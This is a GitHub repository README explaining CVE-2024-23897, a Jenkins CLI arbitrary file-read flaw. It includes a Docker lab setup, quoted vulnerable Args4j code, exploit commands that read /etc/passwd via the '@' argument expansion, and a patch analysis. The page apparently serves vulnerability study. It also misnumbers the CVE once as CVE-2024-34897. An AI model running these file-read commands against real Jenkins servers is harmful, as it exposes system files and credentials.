Skip to content

murataydemir/CVE-2024-23897

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 

Repository files navigation

[CVE-2024-23897] Jenkins CI Authenticated Arbitrary File Read Through the CLI Leads to Remote Code Execution (RCE)


Jenkins is a self-contained open source continuous integration/continuous delivery and deployment (CI/CD) automation software DevOps tool written in the Java programming language. It is used to implement CI/CD workflows, called pipelines.

Jenkins has a built-in command line interface (CLI) to access Jenkins from a script or shell environment. Jenkins uses the Args4j library to parse command arguments and options on the Jenkins controller when processing CLI commands. This command parser has a feature that replaces an @ character followed by a file path in an argument with the file’s contents (expandAtFiles). This feature is enabled by default and Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable it.

This allows attackers to read arbitrary files on the Jenkins controller file system using the default character encoding of the Jenkins controller process.

  • Attackers with Overall/Read permission can read entire files.
  • Attackers without Overall/Read permission can read the first few lines of files. The number of lines that can be read depends on available CLI commands. As of publication of this advisory, the Jenkins security team has found ways to read the first three lines of files in recent releases of Jenkins without having any plugins installed, and has not identified any plugins that would increase this line count.

Environment Setup

  • Fetch docker image
root@kali:~$ docker pull jenkins/jenkins:2.440-jdk17
  • Run container
root@kali:~$ docker run -d -p 9091:8080 -p 50000:50000 --name murat2-jenkins jenkins/jenkins:2.440-jdk17
  • Read initial admin password for setup
root@kali:~$ docker exec -t murat2-jenkins cat /var/jenkins_home/secrets/initialAdminPassword

1

Vulnerable Code
It should be noted that this vulnerability is discovered by SonarSource's Vulnerability Research Team and this section is copied from SonarSource's technical blogpost.

The vulnerable code can be found in the Args4j library,

private String[] expandAtFiles(String args[]) throws CmdLineException {
  List < String > result = new ArrayList < String > ();
  for (String arg: args) {
    if (arg.startsWith("@")) {
      File file = new File(arg.substring(1));
      if (!file.exists()) throw new CmdLineException(this, Messages.NO_SUCH_FILE, file.getPath());
      try {
        result.addAll(readAllLines(file));
      } catch(IOException ex) {
        throw new CmdLineException(this, "Failed to parse " + file, ex);
      }
    } else {
      result.add(arg);
    }
  }
  return result.toArray(new String[result.size()]);
}

expandAtFiles method in CmdLineParser.java class is basically replacing an @ character followed by a file path in an argument with the file’s content: checks if the argument starts with the @ character, and if so, it reads the file in the path after the @ and expands a new argument for each line. This means that if an attacker can control an argument, they can expand it to an arbitrary number of ones from an arbitrary file on the Jenkins instance.

One way an attacker could leverage this is to find a command that takes an arbitrary number of arguments and displays these back to the user. Since the arguments are populated from the contents of the file, an attacker could leak the file contents this way. For this purpose connect-node command in hudson/cli to be a good candidate: it receives a list of strings as an argument and tries to connect to each one. If it fails, an error message is generated with the name of the failed connected node.

public class ConnectNodeCommand extends CLICommand {
  @Argument(
            metaVar = "NAME",
            usage = "Agent name, or empty string for built-in node; comma-separated list is supported",
            required = true,
            multiValued = true
  )
  private List < String > nodes;
  //...

  @Override
  protected int run() throws Exception {
    //...
    for (String node_s: hs) {
      try {
        Computer computer = Computer.resolveForCLI(node_s);
        computer.cliConnect(force);
      } catch(Exception e) {
        //...
        final String errorMsg = node_s + ": " + e.getMessage();
        stderr.println(errorMsg);
        //...
      }
    }


    //...
  }
}

This connect-node command would usually require the CONNECT permission, which is verified in the cliConnect function. But since the exception is thrown before the permission check in the resolveForCLI function, the command actually doesn’t require any authorizations apart from the initial read-only verification.

Exploitation Steps
Normally, the @ in Jenkins-cli is used to specify a file containing the bearer token or username:password from a file. 5 Using an authenticated command with Jenkins-cli will produce the following output:

root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -http connect-node "@/etc/passwd"

6

Using the feature @ character to specify the credentials.txt file in -auth switch produces the following:

root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -auth @credentials.txt -http connect-node "@/etc/passwd"

7

Patch Analysis
The Jenkins security team addressed CVE-2024-23897 by introducing a secure configuration that disables the expandAtFiles feature. The patch includes adding an origin verification to the WebSocket endpoint for CVE-2024-23898, preventing unauthorized access.

Relevant commit: jenkinsci/jenkins@554f037 8

  1. ALLOW_AT_SYNTAX: This variable is a boolean indicating whether the '@' syntax is allowed. It is read from system properties.
  2. ParserProperties: This class provides properties to configure the CmdLineParser.
  3. withAtSyntax(ALLOW_AT_SYNTAX): It sets the 'allowAtSyntax' property in the ParserProperties based on the value of ALLOW_AT_SYNTAX.
  4. new CmdLineParser(this, properties): This creates a new CmdLineParser instance, passing the current object (this) and the configured ParserProperties.

More information about CVE-2024-34897 vulnerability and credits are as follow:

About

[CVE-2024-23897] Jenkins CI Authenticated Arbitrary File Read Through the CLI Leads to Remote Code Execution (RCE)

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published